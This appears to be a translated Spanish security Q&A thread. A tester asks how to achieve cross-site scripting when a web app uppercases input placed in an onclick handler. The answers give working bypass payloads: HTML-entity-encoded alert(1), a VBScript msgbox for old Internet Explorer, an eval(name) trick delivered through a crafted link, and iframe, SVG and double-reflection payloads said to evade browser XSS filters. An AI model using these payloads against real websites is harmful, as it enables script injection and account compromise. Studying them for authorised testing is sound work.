¿Cómo puedo ejecutar un XSS cuando una aplicación web transforma datos en minúsculas a mayúsculas?

11

Estoy probando una aplicación web, cuando envío datos de entrada a la aplicación web, esto coloca los datos en una función onclick , algo como esto:

<a href="#" onclick="someFunction('dataFromServer', '0');">link</a>

Pero, la aplicación web transforma esos datos de minúsculas a mayúsculas, luego, si reemplazo dataFromServer por ','0');alert('XSS');someFunction(' , tengo el siguiente resultado:

<a href="#" onclick="someFunction('','0');ALERT('XSS');SOMEFUNCTION('', '0');">link</a>

Por lo tanto, mi vulnerabilidad XSS no funciona, porque el navegador dice "ALERT no está definido", lo he probado en Firefox e IE.

¿Hay alguna manera de ejecutar un XSS en este caso?

    
pregunta hmrojas.p 17.03.2016 - 20:51
fuente

3 respuestas

7

Puede codificar las letras usando el símbolo y los números (codificación html). a = &#x41; o &#x65; y así sucesivamente.

El código JavaScript puede codificarse sin utilizar caracteres alfanuméricos. La forma más fácil de hacer esto es revisar: enlace Este sitio puede codificarlo por ti.

    
respondido por el Erlend 18.03.2016 - 06:18
fuente
3

Hay una forma (de la vieja escuela) en la que puedes hacer esto que puede o no ser relevante para tu caso, dependiendo de la base de usuarios de la aplicación.

VBScript funciona bien en Internet Explorer 10 y versiones anteriores y no distingue entre mayúsculas y minúsculas, así que algo como

<IMG SRC='vbscript:msgbox("XSS")'>

podría funcionar bien.

    
respondido por el Rоry McCune 17.03.2016 - 21:09
fuente
0

En su ejemplo, ya está en un contexto de atributo HTML, por lo que debería poder codificar HTML su carga útil. El navegador lo decodificará por usted antes de pasarlo al motor de Javascript.

onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" ejecutará la alerta (1) cuando se haga clic.

Si hay una limitación de longitud de 100 caracteres, puede usar el siguiente pyaload:

&#x65;&#x76;&#x61;&#x6C;(&#x6E;&#x61;&#x6D;&#x65;) que se traduce en eval(name)

Puede establecer el nombre o window.name, por ejemplo, a través del atributo de destino de una etiqueta-a:

<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>

Otros tres ejemplos:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">']]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>'<![CDATA[

El último funciona cuando la página contiene una doble reflexión + y omitirá los filtros XSS del navegador.

Nota: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alerta (1) cuando se decodifica la entidad HTML / XML

    
respondido por el Markus Johansson 04.12.2018 - 09:30
fuente

Lea otras preguntas en las etiquetas